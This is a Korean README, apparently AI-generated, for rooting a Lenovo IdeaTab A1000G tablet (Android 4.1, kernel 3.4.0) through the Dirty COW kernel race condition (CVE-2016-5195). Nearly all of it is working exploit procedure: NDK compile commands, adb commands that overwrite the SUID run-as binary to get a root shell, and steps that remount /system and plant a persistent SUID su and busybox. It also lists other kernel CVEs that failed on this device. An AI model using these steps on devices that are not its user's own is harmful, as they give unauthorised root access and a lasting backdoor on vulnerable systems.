
[AI 지원] Lenovo IdeaTab A1000G (MT8317, kernel 3.4.0, Android 4.1)의 루팅 방법 - CVE-2016-5195 (Dirty COW) 이용
참고: 이 문서와 익스플로잇 코드는 AI 도움(Kiro)으로 생성되었습니다. 사용 전에 확인하세요 — AI는 실수를 할 수 있습니다.
| 필드 | 값 |
|---|---|
| 모델 | Lenovo IdeaTab A1000G |
| SoC | MediaTek MT8317 (= MT6517) |
| CPU | 듀얼코어 Cortex-A9 @ 1.2GHz |
| 커널 | Linux 3.4.0 |
| 빌드 | A1000G_A412_01_09_130907_2G |
| Android | 4.1.2 (Jelly Bean) |
~/Android/Sdk/ndk/busybox-armv7l 정적 바이너리 (busybox.net/downloads/binaries/1.21.1/)커널 mmap/write 경로의 경쟁 조건. 커널 2.6.22–4.8.3에 영향.
대상: /system/bin/run-as (SUID 루트, 9448 바이트).
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang
# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
-UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
dcow_main.c dirtycow_android.c
# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c
with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)
adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!
# Enter root shell first
adb shell /system/bin/run-as
# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su
# From PC:
adb push busybox-armv7l /data/local/tmp/busybox
# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/
adb shell
/system/bin/run-as # drops to root shell (#)
id # uid=0(root)
adb shell /system/bin/su -c cmd는 작동하지 않습니다 — ADB가 setuid를 드롭합니다. 먼저 대화형 셸에 진입해야 합니다.
/system/bin/run-as → 덮어씀 (원래 run-as 기능 손상)/system/bin/su → 영구 SUID su 바이너리/system/bin/busybox → busybox 1.21.1| 방법 | 이유 |
|---|---|
| CVE-2013-1763 sock_diag | 커널에 컴파일되지 않음 |
| CVE-2013-6282 get_user/put_user | Cortex-A9에서 ldrt/strt 차단됨 |
.
├── README.md
├── root.sh # automated root script
├── dirtycow_android.c # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c # main() wrapper
└── su2_src.c # su binary source
사전 컴파일된 바이너리는 포함되지 않습니다 — 위 단계를 따라 소스에서 컴파일하세요.
A412_01_09_130907에서도 작동합니다. 둘 다 동일한 커널 가상 레이아웃을 공유하기 때문입니다.| CVE-2014-3153 Towelroot | 커널 패닉 — MTK에 대해 sendmmsg iovstack 오프셋 오류 |
| Framaroot AdbActivity | NullPointerException, 호환되지 않음 |
| /proc/self/mem 덮어쓰기 | 커널 주소를 사용자 공간에서 접근 불가 |